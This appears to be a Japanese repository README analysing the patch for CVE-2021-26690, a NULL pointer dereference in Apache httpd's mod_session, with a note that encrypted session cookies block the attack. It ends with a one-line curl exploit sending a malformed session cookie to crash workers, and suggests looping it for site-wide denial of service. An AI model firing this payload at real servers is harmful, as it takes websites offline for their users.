CVE-2021-26690 のパッチ差分解析 - Apache mod_session

この脆弱性は、Apache の mod_session モジュール内の NULL ポインタ参照です。 これにより、Apache httpd の子プロセスに対するサービス拒否が発生します。 繰り返しループを使用することで、各 Apache ワーカーがクラッシュし、Webサイトに接続している、または接続しようとしているすべてのクライアントに対してサービス拒否が発生します。

この脆弱性は、@antonio-morales によって最初に発見されました。

プロセスの全段階については、このリポジトリ内のPDFを参照してください。

制限事項

サーバーが mod_session_crypto を介して SessionCryptoPassphrase オプションを実装している場合、クッキーは暗号化され、base64 エンコードされます。

<IfModule mod_session.c>
Session On
SessionCookieName session path=/
SessionCryptoPassphrase "YourSecurePassphrase"
SessionMaxAge 1800
</IfModule>

この場合、セッションクッキーペアを改ざんすることができず、サービス拒否は現状では発生しません。

エクスプロイト

curl http://$IP:$PORT/ -v -b 'session=expiry=123456789&='